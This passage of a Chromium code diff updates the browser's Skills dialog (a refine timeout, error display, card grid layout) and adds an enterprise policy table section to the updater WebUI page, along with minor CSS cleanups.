+++ b/chrome/browser/resources/skills/shared_style.css
@@ -5,6 +5,7 @@
 /* #css_wrapper_metadata_start
  * #type=style-lit
  * #import=chrome://resources/cr_elements/cr_shared_vars.css.js
+ * #import=./shared_vars.css.js
  * #scheme=relative
  * #css_wrapper_metadata_end */
 
@@ -31,3 +32,10 @@
   color: var(--color-sys-on-surface-subtle);
   margin: 8px;
 }
+
+.skill-cards-container {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, var(--skills-card-width));
+  gap: var(--skills-card-gap);
+  padding: var(--skills-card-gap) 0;
+}
diff --git a/chrome/browser/resources/skills/shared_vars.css b/chrome/browser/resources/skills/shared_vars.css
new file mode 100644
index 0000000..893d605
--- /dev/null
+++ b/chrome/browser/resources/skills/shared_vars.css
@@ -0,0 +1,14 @@
+/* Copyright 2026 The Chromium Authors
+ * Use of this source code is governed by a BSD-style license that can be
+ * found in the LICENSE file. */
+
+/* #css_wrapper_metadata_start
+ * #type=vars
+ * #css_wrapper_metadata_end */
+
+html {
+  --skills-card-gap: 16px;
+  --skills-card-height: 230px;
+  --skills-card-width: 270px;
+  --page-right-padding: 48px;
+}
diff --git a/chrome/browser/resources/skills/skills_dialog.css b/chrome/browser/resources/skills/skills_dialog.css
index 852e430..b4265c8 100644
--- a/chrome/browser/resources/skills/skills_dialog.css
+++ b/chrome/browser/resources/skills/skills_dialog.css
@@ -27,7 +27,7 @@
   font-size: 16px;
   font-weight: 500;
   line-height: 24px;
-  margin: 0px;
+  margin: 0;
 }
 
 p.description {
@@ -35,7 +35,7 @@
   font-size: 14px;
   font-weight: 400;
   line-height: 20px;
-  margin: 0px;
+  margin: 0;
 }
 
 .form-group {
@@ -59,27 +59,36 @@
   font-weight: 500;
 }
 
-.textarea-wrapper {
+#textareaWrapper {
   display: flex;
   flex-direction: column;
   position: relative;
 
   border: 1px solid var(--cr-fallback-color-neutral-outline);
   border-radius: 8px;
-  background-color: white;
+  background-color: var(--color-sys-surface);
 
   transition: background-color 200ms ease-in-out;
   overflow: hidden;
 }
 
-.textarea-wrapper:focus-within {
+#textareaWrapper:focus-within {
   border-color: var(--cr-focus-outline-color);
   box-shadow: 0 0 0 1px var(--cr-focus-outline-color);
-  background-color: var(--google-grey-100);
+  background-color: var(--color-sys-surface-variant);
 }
 
-.textarea-wrapper:hover {
-  background-color: var(--google-grey-100);
+#textareaWrapper:hover {
+  background-color: var(--color-sys-surface-variant);
+}
+
+#textareaWrapper[error] {
+  border-color: var(--color-sys-error);
+}
+
+#textareaWrapper[error]:focus-within {
+  border-color: var(--color-sys-error);
+  box-shadow: 0 0 0 1px var(--color-sys-error);
 }
 
 textarea {
@@ -109,15 +118,15 @@
   margin: 0;
 }
 
-.icon-undo {
+#iconUndo {
   --cr-icon-image: url('images/skills_undo.svg');
 }
 
-.icon-redo {
+#iconRedo {
   --cr-icon-image: url('images/skills_redo.svg');
 }
 
-.icon-refine {
+#iconRefine {
   --cr-icon-image: url('images/skills_pen_spark.svg');
 }
 
@@ -180,3 +189,21 @@
   font-weight: 400;
   line-height: 16px;
 }
+
+#errorMessage {
+  display: flex;
+  align-items: center;
+  gap: 4px;
+  margin-top: 8px;
+  font-size: 12px;
+  line-height: 16px;
+  color: var(--color-sys-error);
+  font-weight: 500;
+}
+
+#errorMessage a {
+  color: inherit;
+  text-decoration: underline;
+  cursor: pointer;
+  outline: none;
+}
diff --git a/chrome/browser/resources/skills/skills_dialog_app.html.ts b/chrome/browser/resources/skills/skills_dialog_app.html.ts
index 5fbe1c4..aae5ed2 100644
--- a/chrome/browser/resources/skills/skills_dialog_app.html.ts
+++ b/chrome/browser/resources/skills/skills_dialog_app.html.ts
@@ -14,7 +14,7 @@
 ${this.shouldShowErrorPage_ ? html`<error-page></error-page>` : html`
   <div class="dialog-container">
     <div class="header-container">
-      <h1 id="header">Add Skill</h1>
+      <h1 id="header">${this.dialogTitle_}</h1>
       <p class="description">Skills help simplify and automate repetitive tasks
       </p>
     </div>
@@ -23,7 +23,7 @@
     <cr-input class="no-error stroked" id="nameText" type="text"
           placeholder="Simplify For A Kid" .value="${this.skill_.name}"
           @value-changed="${this.onNameChanged_}">
-      <input class="emoji-trigger"
+      <input id="emojiTrigger" class="emoji-trigger"
           type="text"
           .value="${this.skill_.icon}"
           @click="${this.onEmojiBtnClick_}"
@@ -35,34 +35,34 @@
     </cr-input>
     <div id="label" class="cr-form-field-label" aria-hidden="true">Instructions
     </div>
-    <div class="textarea-wrapper">
+    <div id="textareaWrapper" ?error="${this.hasRefineError_}">
       <textarea id="instructionsText" aria-label="Instructions"
           maxlength="${MAX_PROMPT_CHAR_COUNT}"
-          placeholder="Example: Simplify this concept for a child who is 8 years
-           old. Use simple language and an analogy they would understand.
-           Keep the total explanation concise, under ${MAX_PROMPT_CHAR_COUNT}
-           words."
+          placeholder="Example: Simplify this concept for a child who is 8 years old. Use simple language and an analogy they would understand. Keep the total explanation concise, under ${MAX_PROMPT_CHAR_COUNT} words."
           .value="${this.skill_.prompt}"
-          @input="${this.onInstructionsChanged_}">
+          @input="${this.onInstructionsInput_}">
       </textarea>
       <div class="textarea-actions">
-        <cr-icon-button class="icon-undo" title="Undo"
-            aria-label="Undo"
+        <cr-icon-button id="iconUndo" title="undo"
+            aria-label="undo"
             ?disabled="${!this.canUndoRefine_}"
             @click="${this.onUndoClick_}">
         </cr-icon-button>
-        <cr-icon-button class="icon-redo" title="Redo"
-            aria-label="Redo"
+        <cr-icon-button id="iconRedo" title="redo"
+            aria-label="redo"
             ?disabled="${!this.canRedoRefine_}"
             @click="${this.onRedoClick_}">
         </cr-icon-button>
-        <cr-icon-button class="icon-refine" title="Refine"
+        <cr-icon-button id="iconRefine" title="Refine"
             aria-label="Refine"
-            ?disabled="${this.isRefineDisabled_}"
+            ?disabled="${this.isRefineDisabled_()}"
             @click="${this.onRefineClick_}">
         </cr-icon-button>
       </div>
     </div>
+    <div id="errorMessage" ?hidden="${!this.hasRefineError_}">
+      Something went wrong.
+    </div>
   </div>
   <div id="accountInfo">
     <div id="accountLabel">This skill will save to your Google Account</div>
diff --git a/chrome/browser/resources/skills/skills_dialog_app.ts b/chrome/browser/resources/skills/skills_dialog_app.ts
index 9ecfb9c..929ea10 100644
--- a/chrome/browser/resources/skills/skills_dialog_app.ts
+++ b/chrome/browser/resources/skills/skills_dialog_app.ts
@@ -4,12 +4,15 @@
 
 import '/strings.m.js';
 import 'chrome://resources/cr_elements/cr_button/cr_button.js';
-import 'chrome://resources/cr_elements/icons.html.js';
 import 'chrome://resources/cr_elements/cr_input/cr_input.js';
 import 'chrome://resources/cr_elements/cr_textarea/cr_textarea.js';
 import 'chrome://resources/cr_elements/cr_icon_button/cr_icon_button.js';
+import 'chrome://resources/cr_elements/icons.html.js';
 import './error_page.js';
 
+import type {CrButtonElement} from 'chrome://resources/cr_elements/cr_button/cr_button.js';
+import type {CrIconButtonElement} from 'chrome://resources/cr_elements/cr_icon_button/cr_icon_button.js';
+import type {CrInputElement} from 'chrome://resources/cr_elements/cr_input/cr_input.js';
 import {loadTimeData} from 'chrome://resources/js/load_time_data.js';
 import {CrLitElement} from 'chrome://resources/lit/v3_0/lit.rollup.js';
 
@@ -21,6 +24,44 @@
 
 const DEFAULT_EMOJI: string = '⚡';
 const MAX_PROMPT_CHAR_COUNT = 20000;
+const REFINE_SKILL_TIMEOUT_MS = 5000;
+
+let windowProxyInstance: WindowProxy|null = null;
+
+export interface WindowProxy {
+  setTimeout(handler: TimerHandler, timeout?: number): number;
+}
+
+export class WindowProxyImpl implements WindowProxy {
+  setTimeout(handler: TimerHandler, timeout?: number): number {
+    return window.setTimeout(handler, timeout);
+  }
+
+  static getInstance(): WindowProxy {
+    return windowProxyInstance || (windowProxyInstance = new WindowProxyImpl());
+  }
+
+  static setInstance(obj: WindowProxy) {
+    windowProxyInstance = obj;
+  }
+}
+
+export interface SkillsDialogAppElement {
+  $: {
+    accountEmail: HTMLElement,
+    cancelButton: HTMLElement,
+    emojiTrigger: HTMLInputElement,
+    errorMessage: HTMLElement,
+    header: HTMLElement,
+    iconRedo: CrIconButtonElement,
+    iconRefine: CrIconButtonElement,
+    iconUndo: CrIconButtonElement,
+    instructionsText: HTMLTextAreaElement,
+    nameText: CrInputElement,
+    saveButton: CrButtonElement,
+    textareaWrapper: HTMLElement,
+  };
+}
 
 export class SkillsDialogAppElement extends CrLitElement {
   static get is() {
@@ -38,10 +79,13 @@
   static override get properties() {
     return {
       skill_: {type: Object},
+      dialogTitle_: {type: String},
       canUndoRefine_: {type: Boolean},
       canRedoRefine_: {type: Boolean},
       shouldShowErrorPage_: {type: Boolean},
       signedInEmail_: {type: String},
+      hasRefineError_: {type: Boolean},
+      isRefineLoading_: {type: Boolean},
     };
   }
 
@@ -58,11 +102,14 @@
     lastUpdateTime: {internalValue: 0n},
   };
 
+  protected accessor dialogTitle_: string = '';
   protected accessor canUndoRefine_: boolean = false;
   protected accessor canRedoRefine_: boolean = false;
   protected accessor shouldShowErrorPage_: boolean =
       !loadTimeData.getBoolean('isGlicEnabled');
   protected accessor signedInEmail_: string = '';
+  protected accessor hasRefineError_: boolean = false;
+  protected accessor isRefineLoading_: boolean = false;
 
   private originalPrompt_: string = '';
   private refinedPrompt_: string = '';
@@ -73,16 +120,24 @@
   }
 
   /** Initializes dialog. */
-  override async connectedCallback() {
+  override connectedCallback() {
     super.connectedCallback();
-
-    const initialSkill =
-        (await SkillsDialogBrowserProxy.getInstance().handler.getInitialSkill())
-            .skill;
-    if (initialSkill) {
-      this.skill_ = initialSkill;
-      this.skill_.icon = initialSkill.icon || DEFAULT_EMOJI;
-    }
+    SkillsDialogBrowserProxy.getInstance().handler.getInitialSkill().then(
+        ({skill}) => {
+          if (skill) {
+            this.skill_ = skill;
+            this.skill_.icon = skill.icon || DEFAULT_EMOJI;
+            // TODO(marissashen): Update to passing in dialogType from dialog
+            // creation
+            if (!skill.id || skill.source === SkillSource.kFirstParty) {
+              // Creating a new skill or remixing a first party skill.
+              this.dialogTitle_ = 'Add skill';
+            } else {
+              // Editing a user created skill.
+              this.dialogTitle_ = 'Edit skill';
+            }
+          }
+        });
     SkillsDialogBrowserProxy.getInstance().handler.getSignedInEmail().then(
         ({email}) => {
           this.signedInEmail_ = email;
@@ -126,15 +181,16 @@
     input.blur();
   }
 
-  protected get isRefineDisabled_() {
-    return !this.skill_.prompt || this.skill_.prompt.length === 0;
+  protected isRefineDisabled_(): boolean {
+    return !this.skill_.prompt || this.skill_.prompt.length === 0 ||
+        this.isRefineLoading_;
   }
 
   protected onNameChanged_(e: CustomEvent<{value: string}>) {
     this.skill_ = {...this.skill_, name: e.detail.value};
   }
 
-  protected onInstructionsChanged_(e: Event) {
+  protected onInstructionsInput_(e: Event) {
     const target = e.target as HTMLTextAreaElement;
     const newValue = target.value;
 
@@ -142,6 +198,7 @@
     this.canRedoRefine_ = false;
     this.originalPrompt_ = '';
     this.refinedPrompt_ = '';
+    this.hasRefineError_ = false;
 
     this.skill_ = {...this.skill_, prompt: newValue};
   }
@@ -151,8 +208,9 @@
 
     this.canUndoRefine_ = false;
     this.canRedoRefine_ = true;
+    this.hasRefineError_ = false;
 
-    this.shadowRoot?.querySelector<HTMLElement>('#instructionsText')?.focus();
+    this.$.instructionsText.focus();
   }
 
   protected onRedoClick_() {
@@ -160,19 +218,36 @@
 
     this.canUndoRefine_ = true;
     this.canRedoRefine_ = false;
+    this.hasRefineError_ = false;
 
-    this.shadowRoot?.querySelector<HTMLElement>('#instructionsText')?.focus();
+    this.$.instructionsText.focus();
   }
 
   protected onRefineClick_() {
-    this.originalPrompt_ = this.skill_.prompt;
+    this.$.instructionsText.focus();
+    if (this.isRefineLoading_) {
+      return;
+    }
 
-    return SkillsDialogBrowserProxy.getInstance()
-        .handler.refineSkill(this.skill_)
+    this.isRefineLoading_ = true;
+    this.hasRefineError_ = false;
+
+    const refineRequest =
+        SkillsDialogBrowserProxy.getInstance().handler.refineSkill(this.skill_);
+
+    const timeout = new Promise<never>((_, reject) => {
+      WindowProxyImpl.getInstance().setTimeout(
+          () => reject(new Error('Refine skill timed out')),
+          REFINE_SKILL_TIMEOUT_MS);
+    });
+
+    // Race the request against the timeout
+    return Promise.race([refineRequest, timeout])
         .then(({refinedSkill}) => {
           // If the server returned null, do not overwrite the current state.
-          if (refinedSkill) {
+          if (refinedSkill && !this.hasRefineError_) {
             // Only update if we have a valid result.
+            this.originalPrompt_ = this.skill_.prompt;
             this.skill_ = {
               ...this.skill_,
               // If the refined prompt is missing or empty, keep the original
@@ -182,15 +257,28 @@
             this.refinedPrompt_ = refinedSkill.prompt;
             this.canUndoRefine_ = true;
             this.canRedoRefine_ = false;
-            this.shadowRoot?.querySelector<HTMLElement>('#instructionsText')
-                ?.focus();
           }
+        })
+        .catch(() => {
+          this.hasRefineError_ = true;
+        })
+        .finally(() => {
+          this.isRefineLoading_ = false;
         });
   }
 
+  /** Submits skill and closes the dialog. */
   protected submitSkill_(): void {
-    this.skill_.prompt = this.skill_.prompt.slice(0, MAX_PROMPT_CHAR_COUNT);
-    SkillsDialogBrowserProxy.getInstance().handler.submitSkill(this.skill_);
+    // Remixing a first party skill, so clear the ID
+    if (this.skill_.source === SkillSource.kFirstParty) {
+      this.skill_ = {...this.skill_, id: ''};
+    }
+
+    SkillsDialogBrowserProxy.getInstance().handler.submitSkill({
+      ...this.skill_,
+      prompt: this.skill_.prompt.substring(0, MAX_PROMPT_CHAR_COUNT),
+      source: SkillSource.kUserCreated,
+    });
   }
 
   /** Click listener for the cancel button. */
diff --git a/chrome/browser/resources/skills/user_skills_page.css b/chrome/browser/resources/skills/user_skills_page.css
index b398160..392fa038 100644
--- a/chrome/browser/resources/skills/user_skills_page.css
+++ b/chrome/browser/resources/skills/user_skills_page.css
@@ -7,6 +7,7 @@
  * #import=//resources/cr_elements/cr_shared_style_lit.css.js
  * #import=chrome://resources/cr_elements/cr_shared_vars.css.js
  * #import=./shared_style.css.js
+ * #import=./shared_vars.css.js
  * #scheme=relative
  * #include=cr-shared-style-lit shared-style
  * #css_wrapper_metadata_end */
@@ -16,6 +17,7 @@
   flex-direction: column;
   flex: 1;
   overflow: hidden;
+  padding: 16px var(--page-right-padding) 0 0;
 }
 
 #emptyState {
@@ -48,7 +50,6 @@
   box-sizing: border-box;
 }
 
-/* TODO(b/479210761): Fix the cut-off issue when tabbed. */
 #addSkillButton {
   flex-shrink: 0;
 }
diff --git a/chrome/browser/resources/skills/user_skills_page.html.ts b/chrome/browser/resources/skills/user_skills_page.html.ts
index 5c386ff..fce156a 100644
--- a/chrome/browser/resources/skills/user_skills_page.html.ts
+++ b/chrome/browser/resources/skills/user_skills_page.html.ts
@@ -5,6 +5,7 @@
 
 import {html} from '//resources/lit/v3_0/lit.rollup.js';
 
+import {CardType} from './card.js';
 import type {UserSkillsPageElement} from './user_skills_page.js';
 
 export function getHtml(this: UserSkillsPageElement) {
@@ -37,11 +38,11 @@
       $i18n{browseSkillsTitle}
     </cr-button>
   </div>` : html`
-  <ul>
-    ${this.filteredSkills_.map((skill) => html`
-    <!-- TODO(b/475605779): Replace this with cards -->
-    <li>${skill.name}</li>`)}
-  </ul>`}
+   <div class="skill-cards-container">
+    ${Array.from(this.filteredSkills_).map((skill) => html`
+      <skill-card .skill="${skill}" .cardType="${CardType.USER_SKILL_CARD}">
+      </skill-card>`)}
+  </div>`}
 <!--_html_template_end_-->`;
   // clang-format on
 }
diff --git a/chrome/browser/resources/skills/user_skills_page.ts b/chrome/browser/resources/skills/user_skills_page.ts
index fa65797..2f437889 100644
--- a/chrome/browser/resources/skills/user_skills_page.ts
+++ b/chrome/browser/resources/skills/user_skills_page.ts
@@ -5,6 +5,7 @@
 import 'chrome://resources/cr_elements/cr_button/cr_button.js';
 import 'chrome://resources/cr_elements/cr_icon/cr_icon.js';
 import 'chrome://resources/cr_elements/icons.html.js';
+import './card.js';
 import './icons.html.js';
 
 import {CrLitElement} from '//resources/lit/v3_0/lit.rollup.js';
diff --git a/chrome/browser/resources/tab_search/auto_tab_groups/auto_tab_groups_page.css b/chrome/browser/resources/tab_search/auto_tab_groups/auto_tab_groups_page.css
index 674e2ec..0291546 100644
--- a/chrome/browser/resources/tab_search/auto_tab_groups/auto_tab_groups_page.css
+++ b/chrome/browser/resources/tab_search/auto_tab_groups/auto_tab_groups_page.css
@@ -33,7 +33,7 @@
 auto-tab-groups-in-progress:not([shown]),
 auto-tab-groups-results:not([shown]),
 auto-tab-groups-failure:not([shown]) {
-  height: 0px;
+  height: 0;
   position: absolute;
   visibility: hidden;
 }
diff --git a/chrome/browser/resources/tab_search/auto_tab_groups/auto_tab_groups_shared_style.css b/chrome/browser/resources/tab_search/auto_tab_groups/auto_tab_groups_shared_style.css
index edb8e3b9..d3a061c 100644
--- a/chrome/browser/resources/tab_search/auto_tab_groups/auto_tab_groups_shared_style.css
+++ b/chrome/browser/resources/tab_search/auto_tab_groups/auto_tab_groups_shared_style.css
@@ -102,7 +102,7 @@
 
 @keyframes slideOut {
   0% {
-    transform: translateY(0px);
+    transform: translateY(0);
   }
 
   100% {
@@ -116,6 +116,6 @@
   }
 
   100% {
-    transform: translateY(0px);
+    transform: translateY(0);
   }
 }
diff --git a/chrome/browser/resources/updater/BUILD.gn b/chrome/browser/resources/updater/BUILD.gn
index 96801ae2..47437a16 100644
--- a/chrome/browser/resources/updater/BUILD.gn
+++ b/chrome/browser/resources/updater/BUILD.gn
@@ -21,6 +21,8 @@
     "app_list/app_list.html.ts",
     "app_list/app_list.ts",
     "browser_proxy.ts",
+    "enterprise_policy_table/enterprise_policy_table_section.html.ts",
+    "enterprise_policy_table/enterprise_policy_table_section.ts",
     "enterprise_policy_table/enterprise_policy_value.html.ts",
     "enterprise_policy_table/enterprise_policy_value.ts",
     "event_history.ts",
@@ -65,6 +67,7 @@
   css_files = [
     "app.css",
     "app_list/app_list.css",
+    "enterprise_policy_table/enterprise_policy_table_section.css",
     "enterprise_policy_table/enterprise_policy_value.css",
     "event_list/event_list.css",
     "event_list/event_list_item.css",
diff --git a/chrome/browser/resources/updater/app.html.ts b/chrome/browser/resources/updater/app.html.ts
index 1630106..a0b13f3 100644
--- a/chrome/browser/resources/updater/app.html.ts
+++ b/chrome/browser/resources/updater/app.html.ts
@@ -19,7 +19,10 @@
 <div id="content">
   <div>
     <h2>$i18n{updaterStateTitle}</h2>
-    <updater-state></updater-state>
+    <updater-state .userUpdaterState="${this.userUpdaterState}"
+        .systemUpdaterState="${this.systemUpdaterState}"
+        .error="${this.updaterStateError}">
+    </updater-state>
   </div>
   <div>
     <h2>$i18n{installedAppsTitle}</h2>
diff --git a/chrome/browser/resources/updater/app.ts b/chrome/browser/resources/updater/app.ts
index bb91a6d..9b70c68 100644
--- a/chrome/browser/resources/updater/app.ts
+++ b/chrome/browser/resources/updater/app.ts
@@ -11,6 +11,7 @@
 import {getCss} from './app.css.js';
 import {getHtml} from './app.html.js';
 import {BrowserProxyImpl} from './browser_proxy.js';
+import type {EnterpriseCompanionState, GetEnterpriseCompanionStateResponse, GetUpdaterStatesResponse, UpdaterState} from './updater_ui.mojom-webui.js';
 
 export class UpdaterAppElement extends CrLitElement {
   static get is() {
@@ -24,14 +25,39 @@
   static override get properties() {
     return {
       messages: {type: Array},
+      userUpdaterState: {type: Object},
+      systemUpdaterState: {type: Object},
+      enterpriseCompanionState: {type: Object},
+      updaterStateError: {type: Boolean},
     };
   }
 
   protected accessor messages: Array<Record<string, unknown>> = [];
+  protected accessor userUpdaterState: UpdaterState|null = null;
+  protected accessor systemUpdaterState: UpdaterState|null = null;
+  protected accessor enterpriseCompanionState: EnterpriseCompanionState|null =
+      null;
+  protected accessor updaterStateError = false;
+
 
   override connectedCallback() {
     super.connectedCallback();
     this.getAllUpdaterEvents().then(messages => this.messages = messages);
+    this.getUpdaterStates()
+        .then(response => {
+          this.userUpdaterState = response.user;
+          this.systemUpdaterState = response.system;
+        })
+        .catch(() => {
+          this.updaterStateError = true;
+        });
+    this.getEnterpriseCompanionState()
+        .then(response => {
+          this.enterpriseCompanionState = response.state;
+        })
+        .catch(() => {
+          this.updaterStateError = true;
+        });
   }
 
   override render() {
@@ -45,6 +71,16 @@
     return response.events.map(message => JSON.parse(message))
         .filter(message => typeof message === 'object');
   }
+
+  private async getUpdaterStates(): Promise<GetUpdaterStatesResponse> {
+    return await BrowserProxyImpl.getInstance().handler.getUpdaterStates();
+  }
+
+  private async getEnterpriseCompanionState():
+      Promise<GetEnterpriseCompanionStateResponse> {
+    return await BrowserProxyImpl.getInstance()
+        .handler.getEnterpriseCompanionState();
+  }
 }
 
 declare global {
diff --git a/chrome/browser/resources/updater/enterprise_policy_table/enterprise_policy_table_section.css b/chrome/browser/resources/updater/enterprise_policy_table/enterprise_policy_table_section.css
new file mode 100644
index 0000000..e310784
--- /dev/null
+++ b/chrome/browser/resources/updater/enterprise_policy_table/enterprise_policy_table_section.css
@@ -0,0 +1,189 @@
+/* Copyright 2026 The Chromium Authors
+ * Use of this source code is governed by a BSD-style license that can be
+ * found in the LICENSE file. */
+
+/* #css_wrapper_metadata_start
+ * #type=style-lit
+ * #scheme=relative
+ * #import=//resources/cr_elements/cr_shared_vars.css.js
+ * #import=../updater_shared.css.js
+ * #css_wrapper_metadata_end */
+
+:host {
+  --border-color: var(--google-grey-300);
+}
+
+@media (prefers-color-scheme: dark) {
+  :host {
+    --border-color: var(--google-grey-800);
+  }
+}
+
+.policy-table {
+  background-color: var(--cr-card-background-color);
+  border: 1px solid var(--border-color);
+  border-radius: 8px;
+  display: flex;
+  flex-direction: column;
+  overflow: hidden;
+  width: 100%;
+}
+
+.header-row {
+  display: flex;
+  background-color: var(--cr-hover-background-color);
+  border-bottom: 1px solid var(--border-color);
+  font-weight: bold;
+  padding: 0 12px;
+}
+
+.header-content {
+  align-items: center;
+  display: flex;
+  flex: 1;
+  min-height: 24px;
+}
+
+.header-spacer {
+  width: var(--cr-expand-button-size, 24px);
+  margin-left: 8px;
+}
+
+.policy-row {
+  --cr-expand-button-icon-size: 20px;
+  --cr-expand-button-size: 24px;
+  --cr-section-vertical-padding: 0;
+  border-bottom: 1px solid var(--border-color);
+  padding: 0 12px;
+}
+
+.policy-row[expanded] {
+  border-bottom-color: transparent;
+}
+
+.policy-row:last-of-type {
+  border-bottom: none;
+}
+
+.row-content {
+  display: flex;
+  align-items: center;
+  min-height: 24px;
+  width: 100%;
+}
+
+.column-name,
+.column-value,
+.column-source,
+.column-warning {
+  align-items: center;
+  border-right: 1px solid var(--border-color);
+  box-sizing: border-box;
+  display: flex;
+  min-height: 24px;
+  padding: 0 8px;
+}
+
+.row-content .column-name {
+  font-family: var(--cr-code-font-family, monospace);
+}
+
+.column-name {
+  flex-basis: 30%;
+  flex-shrink: 0;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.column-value {
+  flex-basis: 30%;
+  flex-shrink: 0;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.column-source {
+  flex-basis: 20%;
+  flex-shrink: 0;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.column-warning {
+  flex-basis: 20%;
+  flex-shrink: 0;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.warning-icon {
+  --iron-icon-fill-color: var(--warning-icon-color);
+  --iron-icon-height: 20px;
+  --iron-icon-width: 20px;
+  cursor: pointer;
+}
+
+.check-icon {
+  --iron-icon-fill-color: var(--success-icon-color);
+  --iron-icon-height: 18px;
+  --iron-icon-width: 18px;
+}
+
+.expanded-section {
+  border-bottom: 1px solid var(--border-color);
+  border-left: 3px solid var(--google-blue-300);
+  padding: 0 12px;
+}
+
+.expanded-section:last-of-type {
+  border-bottom: none;
+}
+
+.expanded-row {
+  border-bottom: 1px solid var(--border-color);
+  display: flex;
+  /* A negative margin is used to ensure expanded rows have the same width as
+   * their parents despite the expanded-section having a border-left. */
+  margin-left: -3px;
+}
+
+.expanded-row:last-of-type {
+  border-bottom: none;
+}
+
+.expanded-row-content {
+  display: flex;
+  flex: 1;
+}
+
+.expanded-row-content .column-name,
+.expanded-row-content .column-source,
+.expanded-row-content .column-value {
+  color: var(--cr-secondary-text-color);
+}
+
+.expanded-row-content .column-name {
+  font-size: 0.9em;
+  font-weight: 500;
+  justify-content: flex-end;
+}
+
+.expanded-row-content .column-name,
+.expanded-row-content .column-value,
+.expanded-row-content .column-source,
+.expanded-row-content .column-warning {
+  align-items: center;
+  border-right: 1px solid var(--border-color);
+  box-sizing: border-box;
+  display: flex;
+  min-height: 24px;
+  padding: 0 8px;
+}
+
+.expanded-row .column-source {
+  font-style: italic;
+}
diff --git a/chrome/browser/resources/updater/enterprise_policy_table/enterprise_policy_table_section.html.ts b/chrome/browser/resources/updater/enterprise_policy_table/enterprise_policy_table_section.html.ts
new file mode 100644
index 0000000..d098b4d
--- /dev/null
+++ b/chrome/browser/resources/updater/enterprise_policy_table/enterprise_policy_table_section.html.ts
@@ -0,0 +1,73 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+import {html} from '//resources/lit/v3_0/lit.rollup.js';
+
+import type {EnterprisePolicyTableSectionElement} from './enterprise_policy_table_section.js';
+
+export function getHtml(this: EnterprisePolicyTableSectionElement) {
+  // clang-format off
+  return html`
+<!--_html_template_start_-->
+  <div class="policy-table">
+    <div class="header-row">
+      <div class="header-content">
+        <div class="column-name">$i18n{policyName}</div>
+        <div class="column-source">$i18n{policySource}</div>
+        <div class="column-value">$i18n{policyValue}</div>
+        <div class="column-warning">$i18n{policyStatus}</div>
+      </div>
+      <div class="header-spacer"></div>
+    </div>
+    ${this.rowData.map((item, index) => html`
+      <cr-expand-button class="policy-row"
+          data-index="${index}"
+          ?expanded="${item.isExpanded}"
+          @expanded-changed="${this.onRowExpandedChanged}">
+        <div class="row-content">
+          <div class="column-name" title="${item.name}">${item.name}</div>
+          <div class="column-source">${item.policy.prevailingSource}</div>
+          <div class="column-value">
+            <enterprise-policy-value .policyName="${item.name}"
+                .value="${this.prevailingValue(item)}">
+            </enterprise-policy-value>
+          </div>
+          <div class="column-warning">
+            ${item.hasConflict ? html`
+              <cr-icon class="warning-icon" icon="cr:warning"
+                  title="$i18n{policyConflictWarning}">
+              </cr-icon>
+            ` : html`
+              <cr-icon class="check-icon" icon="cr:check"
+                  title="$i18n{policyOk}">
+              </cr-icon>
+            `}
+          </div>
+        </div>
+      </cr-expand-button>
+      <cr-collapse class="expanded-section" ?opened="${item.isExpanded}"
+          no-animation>
+        ${Object.entries(item.policy.valuesBySource)
+            .filter(([source, _]) => source !== item.policy.prevailingSource)
+            .map(([source, value]) => html`
+          <div class="expanded-row">
+            <div class="expanded-row-content">
+              <div class="column-name">$i18n{policyIgnored}</div>
+              <div class="column-source">${source}</div>
+              <div class="column-value">
+                <enterprise-policy-value .policyName="${item.name}"
+                    .value="${value}">
+                </enterprise-policy-value>
+              </div>
+              <div class="column-warning"></div>
+            </div>
+            <div class="header-spacer"></div>
+          </div>
+        `)}
+      </cr-collapse>
+    `)}
+  </div>
+<!--_html_template_end_-->`;
+  // clang-format on
+}
diff --git a/chrome/browser/resources/updater/enterprise_policy_table/enterprise_policy_table_section.ts b/chrome/browser/resources/updater/enterprise_policy_table/enterprise_policy_table_section.ts
new file mode 100644
index 0000000..3826ae5
--- /dev/null
+++ b/chrome/browser/resources/updater/enterprise_policy_table/enterprise_policy_table_section.ts
@@ -0,0 +1,71 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+import '//resources/cr_elements/cr_collapse/cr_collapse.js';
+import '//resources/cr_elements/cr_expand_button/cr_expand_button.js';
+import '//resources/cr_elements/cr_icon/cr_icon.js';
+import './enterprise_policy_value.js';
+import '../icons.html.js';
+
+import {assert} from '//resources/js/assert.js';
+import {CrLitElement} from '//resources/lit/v3_0/lit.rollup.js';
+
+import type {PolicyData} from '../event_history.js';
+
+import {getCss} from './enterprise_policy_table_section.css.js';
+import {getHtml} from './enterprise_policy_table_section.html.js';
+
+export interface RowData {
+  name: string;
+  policy: PolicyData;
+  isExpanded: boolean;
+  hasConflict: boolean;
+}
+
+export class EnterprisePolicyTableSectionElement extends CrLitElement {
+  static get is() {
+    return 'enterprise-policy-table-section';
+  }
+
+  static override get styles() {
+    return getCss();
+  }
+
+  override render() {
+    return getHtml.bind(this)();
+  }
+
+  static override get properties() {
+    return {
+      rowData: {type: Object},
+    };
+  }
+
+  accessor rowData: RowData[] = [];
+
+  protected onRowExpandedChanged(e: CustomEvent<{value: boolean}>) {
+    const currentTarget = e.currentTarget as HTMLElement;
+    const index = Number(currentTarget.dataset['index']);
+    assert(!Number.isNaN(index));
+
+    const data = this.rowData[index];
+    assert(data !== undefined);
+    data.isExpanded = e.detail.value;
+    this.requestUpdate();
+  }
+
+  protected prevailingValue(item: RowData): unknown {
+    return item.policy.valuesBySource[item.policy.prevailingSource];
+  }
+}
+
+declare global {
+  interface HTMLElementTagNameMap {
+    'enterprise-policy-table-section': EnterprisePolicyTableSectionElement;
+  }
+}
+
+customElements.define(
+    EnterprisePolicyTableSectionElement.is,
+    EnterprisePolicyTableSectionElement);
diff --git a/chrome/browser/resources/updater/event_list/event_list_item.css b/chrome/browser/resources/updater/event_list/event_list_item.css
index d5309d5..4d65c39 100644
--- a/chrome/browser/resources/updater/event_list/event_list_item.css
+++ b/chrome/browser/resources/updater/event_list/event_list_item.css
@@ -11,7 +11,6 @@
 
 :host {
   --event-type-background-color: var(--google-blue-50);
